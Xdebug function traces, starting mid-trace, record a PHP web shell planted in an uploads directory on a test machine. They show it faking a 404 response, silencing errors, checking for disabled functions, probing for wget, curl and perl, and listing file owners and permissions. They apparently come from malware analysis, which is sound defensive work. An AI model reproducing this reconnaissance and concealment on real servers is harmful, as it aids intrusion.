3	50	0	0.002528	502520	function_exists	0		/var/www/html/uploads/shell.php6	223	1	'posix_getpwuid'
3	50	1	0.002541	502560
3	50	R			TRUE
3	51	0	0.002554	502520	fileowner	0		/var/www/html/uploads/shell.php6	224	1	'/var/www/html/uploads/data'
3	51	1	0.002566	502560
3	51	R			0
3	52	0	0.002578	502520	posix_getpwuid	0		/var/www/html/uploads/shell.php6	224	1	0
3	52	1	0.002601	503320
3	52	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/shell.php6	224	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	49	1	0.002641	502568
2	49	R			'<center>root</center>'
2	53	0	0.002656	502264	is_writable	0		/var/www/html/uploads/shell.php6	526	1	'/var/www/html/uploads/data'
2	53	1	0.002672	502304
2	53	R			TRUE
2	54	0	0.002685	502264	statusnya	1		/var/www/html/uploads/shell.php6	528	1	'/var/www/html/uploads/data'
3	55	0	0.002697	502264	fileperms	0		/var/www/html/uploads/shell.php6	590	1	'/var/www/html/uploads/data'
3	55	1	0.002710	502304
3	55	R			16895
3	56	0	0.002722	502264	sprintf	0		/var/www/html/uploads/shell.php6	590	2	'%o'	16895
3	56	1	0.002735	502648
3	56	R			'40777'
3	57	0	0.002747	502584	substr	0		/var/www/html/uploads/shell.php6	590	2	'40777'	-4
3	57	1	0.002760	502680
3	57	R			'0777'
2		A						/var/www/html/uploads/shell.php6	590	$izin = '0777'
2	54	1	0.002783	502296
2	54	R			'0777'
2	58	0	0.002796	502264	is_writable	0		/var/www/html/uploads/shell.php6	529	1	'/var/www/html/uploads/data'
2	58	1	0.002811	502304
2	58	R			TRUE
2	59	0	0.002824	502272	is_dir	0		/var/www/html/uploads/shell.php6	519	1	'/var/www/html/uploads/prepend.php'
2	59	1	0.002839	502320
2	59	R			FALSE
2	60	0	0.002852	502280	is_dir	0		/var/www/html/uploads/shell.php6	519	1	'/var/www/html/uploads/shell.php6'
2	60	1	0.002866	502320
2	60	R			FALSE
2	61	0	0.002879	502264	is_file	0		/var/www/html/uploads/shell.php6	548	1	'/var/www/html/uploads/.'
2	61	1	0.002894	502288
2	61	R			FALSE
2	62	0	0.002907	502256	is_file	0		/var/www/html/uploads/shell.php6	548	1	'/var/www/html/uploads/..'
2	62	1	0.002921	502304
2	62	R			FALSE
2	63	0	0.002933	502264	is_file	0		/var/www/html/uploads/shell.php6	548	1	'/var/www/html/uploads/.htaccess'
2	63	1	0.002948	502304
2	63	R			TRUE
2	64	0	0.002960	502264	filesize	0		/var/www/html/uploads/shell.php6	549	1	'/var/www/html/uploads/.htaccess'
2	64	1	0.002973	502304
2	64	R			64
1		A						/var/www/html/uploads/shell.php6	549	$size = 0.0625
2	65	0	0.002996	502208	round	0		/var/www/html/uploads/shell.php6	550	2	0.0625	3
2	65	1	0.003009	502280
2	65	R			0.063
1		A						/var/www/html/uploads/shell.php6	550	$size = 0.063
1		A						/var/www/html/uploads/shell.php6	554	$size = '0.063 KB'
2	66	0	0.003044	502304	cekfile	1		/var/www/html/uploads/shell.php6	558	1	'/var/www/html/uploads/.htaccess'
2	66	1	0.003057	502304
2	66	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	67	0	0.003073	502560	filedate	1		/var/www/html/uploads/shell.php6	560	1	'/var/www/html/uploads/.htaccess'
3	68	0	0.003089	502560	filemtime	0		/var/www/html/uploads/shell.php6	267	1	'/var/www/html/uploads/.htaccess'
3	68	1	0.003102	502600
3	68	R			1676244706
3	69	0	0.003114	502560	date	0		/var/www/html/uploads/shell.php6	267	2	'F d Y g:i:s'	1676244706
3	69	1	0.003144	502888
3	69	R			'February 12 2023 6:31:46'
2	67	1	0.003159	502816
2	67	R			'February 12 2023 6:31:46'
2	70	0	0.003173	502624	owner	1		/var/www/html/uploads/shell.php6	561	1	'/var/www/html/uploads/.htaccess'
3	71	0	0.003185	502624	function_exists	0		/var/www/html/uploads/shell.php6	223	1	'posix_getpwuid'
3	71	1	0.003198	502664
3	71	R			TRUE
3	72	0	0.003211	502624	fileowner	0		/var/www/html/uploads/shell.php6	224	1	'/var/www/html/uploads/.htaccess'
3	72	1	0.003223	502664
3	72	R			0
3	73	0	0.003235	502624	posix_getpwuid	0		/var/www/html/uploads/shell.php6	224	1	0
3	73	1	0.003257	503424
3	73	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/shell.php6	224	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	70	1	0.003297	502672
2	70	R			'<center>root</center>'
2	74	0	0.003312	502304	is_writable	0		/var/www/html/uploads/shell.php6	563	1	'/var/www/html/uploads/.htaccess'
2	74	1	0.003331	502344
2	74	R			FALSE
2	75	0	0.003345	502304	is_readable	0		/var/www/html/uploads/shell.php6	564	1	'/var/www/html/uploads/.htaccess'
2	75	1	0.003396	502344
2	75	R			TRUE
2	76	0	0.003410	502304	statusnya	1		/var/www/html/uploads/shell.php6	565	1	'/var/www/html/uploads/.htaccess'
3	77	0	0.003423	502304	fileperms	0		/var/www/html/uploads/shell.php6	590	1	'/var/www/html/uploads/.htaccess'
3	77	1	0.003436	502344
3	77	R			33188
3	78	0	0.003448	502304	sprintf	0		/var/www/html/uploads/shell.php6	590	2	'%o'	33188
3	78	1	0.003461	502688
3	78	R			'100644'
3	79	0	0.003473	502624	substr	0		/var/www/html/uploads/shell.php6	590	2	'100644'	-4
3	79	1	0.003486	502720
3	79	R			'0644'
2		A						/var/www/html/uploads/shell.php6	590	$izin = '0644'
2	76	1	0.003509	502336
2	76	R			'0644'
2	80	0	0.003523	502304	is_writable	0		/var/www/html/uploads/shell.php6	566	1	'/var/www/html/uploads/.htaccess'
2	80	1	0.003538	502344
2	80	R			FALSE
2	81	0	0.003550	502304	is_readable	0		/var/www/html/uploads/shell.php6	566	1	'/var/www/html/uploads/.htaccess'
2	81	1	0.003565	502344
2	81	R			TRUE
2	82	0	0.003578	502248	class_exists	0		/var/www/html/uploads/shell.php6	575	1	'ZipArchive'
2	82	1	0.003591	502288
2	82	R			FALSE
2	83	0	0.003605	502304	is_file	0		/var/www/html/uploads/shell.php6	548	1	'/var/www/html/uploads/data'
2	83	1	0.003619	502344
2	83	R			FALSE
2	84	0	0.003632	502312	is_file	0		/var/www/html/uploads/shell.php6	548	1	'/var/www/html/uploads/prepend.php'
2	84	1	0.003646	502360
2	84	R			TRUE
2	85	0	0.003659	502320	filesize	0		/var/www/html/uploads/shell.php6	549	1	'/var/www/html/uploads/prepend.php'
2	85	1	0.003672	502360
2	85	R			57
1		A						/var/www/html/uploads/shell.php6	549	$size = 0.0556640625
2	86	0	0.003695	502216	round	0		/var/www/html/uploads/shell.php6	550	2	0.0556640625	3
2	86	1	0.003708	502288
2	86	R			0.056
1		A						/var/www/html/uploads/shell.php6	550	$size = 0.056
1		A						/var/www/html/uploads/shell.php6	554	$size = '0.056 KB'
2	87	0	0.003742	502320	cekfile	1		/var/www/html/uploads/shell.php6	558	1	'/var/www/html/uploads/prepend.php'
2	87	1	0.003755	502320
2	87	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	88	0	0.003772	502576	filedate	1		/var/www/html/uploads/shell.php6	560	1	'/var/www/html/uploads/prepend.php'
3	89	0	0.003784	502576	filemtime	0		/var/www/html/uploads/shell.php6	267	1	'/var/www/html/uploads/prepend.php'
3	89	1	0.003797	502616
3	89	R			1676244706
3	90	0	0.003810	502576	date	0		/var/www/html/uploads/shell.php6	267	2	'F d Y g:i:s'	1676244706
3	90	1	0.003841	502904
3	90	R			'February 12 2023 6:31:46'
2	88	1	0.003856	502832
2	88	R			'February 12 2023 6:31:46'
2	91	0	0.003870	502640	owner	1		/var/www/html/uploads/shell.php6	561	1	'/var/www/html/uploads/prepend.php'
3	92	0	0.003882	502640	function_exists	0		/var/www/html/uploads/shell.php6	223	1	'posix_getpwuid'
3	92	1	0.003896	502680
3	92	R			TRUE
3	93	0	0.003908	502640	fileowner	0		/var/www/html/uploads/shell.php6	224	1	'/var/www/html/uploads/prepend.php'
3	93	1	0.003926	502680
3	93	R			0
3	94	0	0.003938	502640	posix_getpwuid	0		/var/www/html/uploads/shell.php6	224	1	0
3	94	1	0.003962	503440
3	94	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/shell.php6	224	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	91	1	0.004003	502688
2	91	R			'<center>root</center>'
2	95	0	0.004018	502320	is_writable	0		/var/www/html/uploads/shell.php6	563	1	'/var/www/html/uploads/prepend.php'
2	95	1	0.004034	502360
2	95	R			FALSE
2	96	0	0.004047	502320	is_readable	0		/var/www/html/uploads/shell.php6	564	1	'/var/www/html/uploads/prepend.php'
2	96	1	0.004062	502360
2	96	R			TRUE
2	97	0	0.004075	502320	statusnya	1		/var/www/html/uploads/shell.php6	565	1	'/var/www/html/uploads/prepend.php'
3	98	0	0.004087	502320	fileperms	0		/var/www/html/uploads/shell.php6	590	1	'/var/www/html/uploads/prepend.php'
3	98	1	0.004101	502360
3	98	R			33261
3	99	0	0.004113	502320	sprintf	0		/var/www/html/uploads/shell.php6	590	2	'%o'	33261
3	99	1	0.004126	502704
3	99	R			'100755'
3	100	0	0.004138	502640	substr	0		/var/www/html/uploads/shell.php6	590	2	'100755'	-4
3	100	1	0.004151	502736
3	100	R			'0755'
2		A						/var/www/html/uploads/shell.php6	590	$izin = '0755'
2	97	1	0.004174	502352
2	97	R			'0755'
2	101	0	0.004187	502320	is_writable	0		/var/www/html/uploads/shell.php6	566	1	'/var/www/html/uploads/prepend.php'
2	101	1	0.004202	502360
2	101	R			FALSE
2	102	0	0.004215	502320	is_readable	0		/var/www/html/uploads/shell.php6	566	1	'/var/www/html/uploads/prepend.php'
2	102	1	0.004229	502360
2	102	R			TRUE
2	103	0	0.004292	502256	class_exists	0		/var/www/html/uploads/shell.php6	575	1	'ZipArchive'
2	103	1	0.004309	502296
2	103	R			FALSE
2	104	0	0.004323	502320	is_file	0		/var/www/html/uploads/shell.php6	548	1	'/var/www/html/uploads/shell.php6'
2	104	1	0.004338	502360
2	104	R			TRUE
2	105	0	0.004351	502320	filesize	0		/var/www/html/uploads/shell.php6	549	1	'/var/www/html/uploads/shell.php6'
2	105	1	0.004363	502360
2	105	R			19300
1		A						/var/www/html/uploads/shell.php6	549	$size = 18.84765625
2	106	0	0.004387	502216	round	0		/var/www/html/uploads/shell.php6	550	2	18.84765625	3
2	106	1	0.004400	502288
2	106	R			18.848
1		A						/var/www/html/uploads/shell.php6	550	$size = 18.848
1		A						/var/www/html/uploads/shell.php6	554	$size = '18.848 KB'
2	107	0	0.004434	502320	cekfile	1		/var/www/html/uploads/shell.php6	558	1	'/var/www/html/uploads/shell.php6'
2	107	1	0.004447	502320
2	107	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	108	0	0.004464	502576	filedate	1		/var/www/html/uploads/shell.php6	560	1	'/var/www/html/uploads/shell.php6'
3	109	0	0.004476	502576	filemtime	0		/var/www/html/uploads/shell.php6	267	1	'/var/www/html/uploads/shell.php6'
3	109	1	0.004488	502616
3	109	R			1676244706
3	110	0	0.004511	502576	date	0		/var/www/html/uploads/shell.php6	267	2	'F d Y g:i:s'	1676244706
3	110	1	0.004542	502904
3	110	R			'February 12 2023 6:31:46'
2	108	1	0.004556	502832
2	108	R			'February 12 2023 6:31:46'
2	111	0	0.004571	502640	owner	1		/var/www/html/uploads/shell.php6	561	1	'/var/www/html/uploads/shell.php6'
3	112	0	0.004583	502640	function_exists	0		/var/www/html/uploads/shell.php6	223	1	'posix_getpwuid'
3	112	1	0.004596	502680
3	112	R			TRUE
3	113	0	0.004609	502640	fileowner	0		/var/www/html/uploads/shell.php6	224	1	'/var/www/html/uploads/shell.php6'
3	113	1	0.004621	502680
3	113	R			1000
3	114	0	0.004633	502640	posix_getpwuid	0		/var/www/html/uploads/shell.php6	224	1	1000
3	114	1	0.004665	503456
3	114	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/shell.php6	224	$tod = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
2	111	1	0.004709	502696
2	111	R			'<center>osboxes</center>'
2	115	0	0.004724	502320	is_writable	0		/var/www/html/uploads/shell.php6	563	1	'/var/www/html/uploads/shell.php6'
2	115	1	0.004740	502360
2	115	R			FALSE
2	116	0	0.004754	502320	is_readable	0		/var/www/html/uploads/shell.php6	564	1	'/var/www/html/uploads/shell.php6'
2	116	1	0.004768	502360
2	116	R			TRUE
2	117	0	0.004786	502320	statusnya	1		/var/www/html/uploads/shell.php6	565	1	'/var/www/html/uploads/shell.php6'
3	118	0	0.004798	502320	fileperms	0		/var/www/html/uploads/shell.php6	590	1	'/var/www/html/uploads/shell.php6'
3	118	1	0.004811	502360
3	118	R			33204
3	119	0	0.004823	502320	sprintf	0		/var/www/html/uploads/shell.php6	590	2	'%o'	33204
3	119	1	0.004836	502704
3	119	R			'100664'
3	120	0	0.004849	502640	substr	0		/var/www/html/uploads/shell.php6	590	2	'100664'	-4
3	120	1	0.004862	502736
3	120	R			'0664'
2		A						/var/www/html/uploads/shell.php6	590	$izin = '0664'
2	117	1	0.004885	502352
2	117	R			'0664'
2	121	0	0.004898	502320	is_writable	0		/var/www/html/uploads/shell.php6	566	1	'/var/www/html/uploads/shell.php6'
2	121	1	0.004912	502360
2	121	R			FALSE
2	122	0	0.004925	502320	is_readable	0		/var/www/html/uploads/shell.php6	566	1	'/var/www/html/uploads/shell.php6'
2	122	1	0.004939	502360
2	122	R			TRUE
2	123	0	0.004952	502256	class_exists	0		/var/www/html/uploads/shell.php6	575	1	'ZipArchive'
2	123	1	0.004965	502296
2	123	R			FALSE
2	124	0	0.004979	502256	author	1		/var/www/html/uploads/shell.php6	587	0
			0.005016	420856
TRACE END   [2023-02-12 21:32:12.405444]

data/traces/a904b40e986d19aea7f4783cdb4a608a_trace-1676247742.4923.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:22:48.390117]
1	0	1	0.000170	393512
1	3	0	0.000714	497848	{main}	1		/var/www/html/uploads/shell.php	0	0
2	4	0	0.000734	497848	set_time_limit	0		/var/www/html/uploads/shell.php	152	1	0
2	4	1	0.000751	497912
2	4	R			FALSE
2	5	0	0.000766	497880	error_reporting	0		/var/www/html/uploads/shell.php	153	1	0
2	5	1	0.000780	497920
2	5	R			0
2	6	0	0.000793	497880	http_response_code	0		/var/www/html/uploads/shell.php	154	1	404
2	6	1	0.000806	497920
2	6	R			200
2	7	0	0.000819	497880	ini_get	0		/var/www/html/uploads/shell.php	156	1	'disable_functions'
2	7	1	0.000834	498360
2	7	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/shell.php	156	$disfunc = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/shell.php	160	$disf = '<font color=\'red\'>pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font>'
2	8	0	0.000906	498776	ipserv	1		/var/www/html/uploads/shell.php	297	0
2	8	1	0.000920	498776
2	8	R			'127.0.0.1'
2	9	0	0.000936	498776	php_uname	0		/var/www/html/uploads/shell.php	299	0
2	9	1	0.000950	498888
2	9	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	10	0	0.000970	498776	get_current_user	0		/var/www/html/uploads/shell.php	300	0
2	10	1	0.001007	498816
2	10	R			'osboxes'
2	11	0	0.001022	498880	getmyuid	0		/var/www/html/uploads/shell.php	300	0
2	11	1	0.001034	498880
2	11	R			1000
2	12	0	0.001048	498784	phpversion	0		/var/www/html/uploads/shell.php	301	0
2	12	1	0.001060	498848
2	12	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2	13	0	0.001080	498896	function_exists	0		/var/www/html/uploads/shell.php	304	1	'mysql_connect'
2	13	1	0.001095	498936
2	13	R			FALSE
2	14	0	0.001108	498896	function_exists	0		/var/www/html/uploads/shell.php	310	1	'curl_init'
2	14	1	0.001121	498936
2	14	R			TRUE
2	15	0	0.001135	498896	file_exists	0		/var/www/html/uploads/shell.php	316	1	'/usr/bin/wget'
2	15	1	0.001155	498936
2	15	R			TRUE
2	16	0	0.001169	498896	file_exists	0		/var/www/html/uploads/shell.php	322	1	'/usr/bin/perl'
2	16	1	0.001184	498936
2	16	R			TRUE
2	17	0	0.001197	498896	file_exists	0		/var/www/html/uploads/shell.php	328	1	'/usr/bin/python2'
2	17	1	0.001212	498936
2	17	R			FALSE
2	18	0	0.001226	498896	getcwd	0		/var/www/html/uploads/shell.php	342	0
2	18	1	0.001239	498944
2	18	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/shell.php	342	$lokasi = '/var/www/html/uploads'
2	19	0	0.001265	498944	getcwd	0		/var/www/html/uploads/shell.php	343	0
2	19	1	0.001277	498992
2	19	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/shell.php	343	$lokdua = '/var/www/html/uploads'
2	20	0	0.001302	498992	str_replace	0		/var/www/html/uploads/shell.php	346	3	'\\'	'/'	'/var/www/html/uploads'
2	20	1	0.001318	499088
2	20	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/shell.php	346	$lokasi = '/var/www/html/uploads'
2	21	0	0.001342	498992	explode	0		/var/www/html/uploads/shell.php	347	2	'/'	'/var/www/html/uploads'
2	21	1	0.001357	499568
2	21	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/shell.php	347	$lokasis = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2	22	0	0.001391	499496	scandir	0		/var/www/html/uploads/shell.php	348	1	'/var/www/html/uploads'
2	22	1	0.001423	500120
2	22	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'shell.php']
1		A						/var/www/html/uploads/shell.php	348	$lokasinya = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'shell.php']
2	23	0	0.001460	500088	cekwrite	1		/var/www/html/uploads/shell.php	350	1	'/var/www/html/uploads'
3	24	0	0.001474	500088	fileperms	0		/var/www/html/uploads/shell.php	232	1	'/var/www/html/uploads'
3	24	1	0.001496	500152
3	24	R			16895
3	25	0	0.001510	500112	sprintf	0		/var/www/html/uploads/shell.php	232	2	'%o'	16895
3	25	1	0.001525	500496
3	25	R			'40777'
3	26	0	0.001538	500432	substr	0		/var/www/html/uploads/shell.php	232	2	'40777'	-4
3	26	1	0.001552	500528
3	26	R			'0777'
2		A						/var/www/html/uploads/shell.php	232	$izin = '0777'
3	27	0	0.001576	500144	is_writable	0		/var/www/html/uploads/shell.php	233	1	'/var/www/html/uploads'
3	27	1	0.001591	500184
3	27	R			TRUE
2	23	1	0.001606	500168
2	23	R			'<font color=green>0777</font>'
1		A						/var/www/html/uploads/shell.php	352	$id = 0
1		A						/var/www/html/uploads/shell.php	354	$a = TRUE
1		A						/var/www/html/uploads/shell.php	352	$id = 1
1		A						/var/www/html/uploads/shell.php	360	$i = 0
1		A						/var/www/html/uploads/shell.php	360	$i++
1		A						/var/www/html/uploads/shell.php	360	$i++
1		A						/var/www/html/uploads/shell.php	352	$id = 2
1		A						/var/www/html/uploads/shell.php	360	$i = 0
1		A						/var/www/html/uploads/shell.php	360	$i++
1		A						/var/www/html/uploads/shell.php	360	$i++
1		A						/var/www/html/uploads/shell.php	360	$i++
1		A						/var/www/html/uploads/shell.php	352	$id = 3
1		A						/var/www/html/uploads/shell.php	360	$i = 0
1		A						/var/www/html/uploads/shell.php	360	$i++
1		A						/var/www/html/uploads/shell.php	360	$i++
1		A						/var/www/html/uploads/shell.php	360	$i++
1		A						/var/www/html/uploads/shell.php	360	$i++
1		A						/var/www/html/uploads/shell.php	352	$id = 4
1		A						/var/www/html/uploads/shell.php	360	$i = 0
1		A						/var/www/html/uploads/shell.php	360	$i++
1		A						/var/www/html/uploads/shell.php	360	$i++
1		A						/var/www/html/uploads/shell.php	360	$i++
1		A						/var/www/html/uploads/shell.php	360	$i++
1		A						/var/www/html/uploads/shell.php	360	$i++
2	28	0	0.001963	500112	is_readable	0		/var/www/html/uploads/shell.php	504	1	'/var/www/html/uploads'
2	28	1	0.001981	500152
2	28	R			TRUE
2	29	0	0.001996	500160	is_dir	0		/var/www/html/uploads/shell.php	519	1	'/var/www/html/uploads/.'
2	29	1	0.002011	500200
2	29	R			TRUE
2	30	0	0.002024	500168	is_dir	0		/var/www/html/uploads/shell.php	519	1	'/var/www/html/uploads/..'
2	30	1	0.002039	500216
2	30	R			TRUE
2	31	0	0.002053	500400	filedate	1		/var/www/html/uploads/shell.php	523	1	'/var/www/html/uploads/..'
3	32	0	0.002066	500400	filemtime	0		/var/www/html/uploads/shell.php	267	1	'/var/www/html/uploads/..'
3	32	1	0.002080	500440
3	32	R			1676247742
3	33	0	0.002093	500400	date	0		/var/www/html/uploads/shell.php	267	2	'F d Y g:i:s'	1676247742
3	33	1	0.002151	502792
3	33	R			'February 12 2023 7:22:22'
2	31	1	0.002169	502720
2	31	R			'February 12 2023 7:22:22'
2	34	0	0.002185	502496	owner	1		/var/www/html/uploads/shell.php	524	1	'/var/www/html/uploads/..'
3	35	0	0.002198	502496	function_exists	0		/var/www/html/uploads/shell.php	223	1	'posix_getpwuid'
3	35	1	0.002211	502536
3	35	R			TRUE
3	36	0	0.002224	502496	fileowner	0		/var/www/html/uploads/shell.php	224	1	'/var/www/html/uploads/..'
3	36	1	0.002238	502536
3	36	R			0
3	37	0	0.002250	502496	posix_getpwuid	0		/var/www/html/uploads/shell.php	224	1	0
3	37	1	0.002277	503296
3	37	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/shell.php	224	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	34	1	0.002319	502544
2	34	R			'<center>root</center>'
2	38	0	0.002335	502240	is_writable	0		/var/www/html/uploads/shell.php	526	1	'/var/www/html/uploads/..'
2	38	1	0.002351	502280
2	38	R			TRUE
2	39	0	0.002365	502240	statusnya	1		/var/www/html/uploads/shell.php	528	1	'/var/www/html/uploads/..'
3	40	0	0.002379	502240	fileperms	0		/var/www/html/uploads/shell.php	590	1	'/var/www/html/uploads/..'
3	40	1	0.002392	502280
3	40	R			16895
3	41	0	0.002405	502240	sprintf	0		/var/www/html/uploads/shell.php	590	2	'%o'	16895
3	41	1	0.002418	502624
3	41	R			'40777'
3	42	0	0.002431	502560	substr	0		/var/www/html/uploads/shell.php	590	2	'40777'	-4
3	42	1	0.002444	502656
3	42	R			'0777'
2		A						/var/www/html/uploads/shell.php	590	$izin = '0777'
2	39	1	0.002474	502272
2	39	R			'0777'
2	43	0	0.002488	502240	is_writable	0		/var/www/html/uploads/shell.php	529	1	'/var/www/html/uploads/..'
2	43	1	0.002503	502280
2	43	R			TRUE
2	44	0	0.002517	502240	is_dir	0		/var/www/html/uploads/shell.php	519	1	'/var/www/html/uploads/.htaccess'
2	44	1	0.002533	502280
2	44	R			FALSE
2	45	0	0.002546	502240	is_dir	0		/var/www/html/uploads/shell.php	519	1	'/var/www/html/uploads/data'
2	45	1	0.002560	502280
2	45	R			TRUE
2	46	0	0.002573	502464	filedate	1		/var/www/html/uploads/shell.php	523	1	'/var/www/html/uploads/data'
3	47	0	0.002586	502464	filemtime	0		/var/www/html/uploads/shell.php	267	1	'/var/www/html/uploads/data'
3	47	1	0.002599	502504
3	47	R			1676247742
3	48	0	0.002612	502464	date	0		/var/www/html/uploads/shell.php	267	2	'F d Y g:i:s'	1676247742
3	48	1	0.002643	502792
3	48	R			'February 12 2023 7:22:22'
2	46	1	0.002658	502720
2	46	R			'February 12 2023 7:22:22'
2	49	0	0.002673	502496	owner	1		/var/www/html/uploads/shell.php	524	1	'/var/www/html/uploads/data'
3	50	0	0.002686	502496	function_exists	0		/var/www/html/uploads/shell.php	223	1	'posix_getpwuid'
3	50	1	0.002699	502536
3	50	R			TRUE
3	51	0	0.002712	502496	fileowner	0		/var/www/html/uploads/shell.php	224	1	'/var/www/html/uploads/data'
3	51	1	0.002725	502536
3	51	R			0
3	52	0	0.002737	502496	posix_getpwuid	0		/var/www/html/uploads/shell.php	224	1	0
3	52	1	0.002760	503296
3	52	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/shell.php	224	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	49	1	0.002801	502544
2	49	R			'<center>root</center>'
2	53	0	0.002817	502240	is_writable	0		/var/www/html/uploads/shell.php	526	1	'/var/www/html/uploads/data'
2	53	1	0.002832	502280
2	53	R			TRUE
2	54	0	0.002846	502240	statusnya	1		/var/www/html/uploads/shell.php	528	1	'/var/www/html/uploads/data'
3	55	0	0.002859	502240	fileperms	0		/var/www/html/uploads/shell.php	590	1	'/var/www/html/uploads/data'
3	55	1	0.002871	502280
3	55	R			16895
3	56	0	0.002884	502240	sprintf	0		/var/www/html/uploads/shell.php	590	2	'%o'	16895
3	56	1	0.002897	502624
3	56	R			'40777'
3	57	0	0.002910	502560	substr	0		/var/www/html/uploads/shell.php	590	2	'40777'	-4
3	57	1	0.002923	502656
3	57	R			'0777'
2		A						/var/www/html/uploads/shell.php	590	$izin = '0777'
2	54	1	0.002947	502272
2	54	R			'0777'
2	58	0	0.002961	502240	is_writable	0		/var/www/html/uploads/shell.php	529	1	'/var/www/html/uploads/data'
2	58	1	0.002975	502280
2	58	R			TRUE
2	59	0	0.002990	502248	is_dir	0		/var/www/html/uploads/shell.php	519	1	'/var/www/html/uploads/prepend.php'
2	59	1	0.003005	502296
2	59	R			FALSE
2	60	0	0.003018	502248	is_dir	0		/var/www/html/uploads/shell.php	519	1	'/var/www/html/uploads/shell.php'
2	60	1	0.003032	502280
2	60	R			FALSE
2	61	0	0.003046	502232	is_file	0		/var/www/html/uploads/shell.php	548	1	'/var/www/html/uploads/.'
2	61	1	0.003061	502264
2	61	R			FALSE
2	62	0	0.003074	502232	is_file	0		/var/www/html/uploads/shell.php	548	1	'/var/www/html/uploads/..'
2	62	1	0.003088	502280
2	62	R			FALSE
2	63	0	0.003102	502240	is_file	0		/var/www/html/uploads/shell.php	548	1	'/var/www/html/uploads/.htaccess'
2	63	1	0.003115	502280
2	63	R			TRUE
2	64	0	0.003128	502240	filesize	0		/var/www/html/uploads/shell.php	549	1	'/var/www/html/uploads/.htaccess'
2	64	1	0.003141	502280
2	64	R			64
1		A						/var/www/html/uploads/shell.php	549	$size = 0.0625
2	65	0	0.003165	502184	round	0		/var/www/html/uploads/shell.php	550	2	0.0625	3
2	65	1	0.003179	502256
2	65	R			0.063
1		A						/var/www/html/uploads/shell.php	550	$size = 0.063
1		A						/var/www/html/uploads/shell.php	554	$size = '0.063 KB'
2	66	0	0.003215	502280	cekfile	1		/var/www/html/uploads/shell.php	558	1	'/var/www/html/uploads/.htaccess'
2	66	1	0.003228	502280
2	66	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	67	0	0.003245	502536	filedate	1		/var/www/html/uploads/shell.php	560	1	'/var/www/html/uploads/.htaccess'
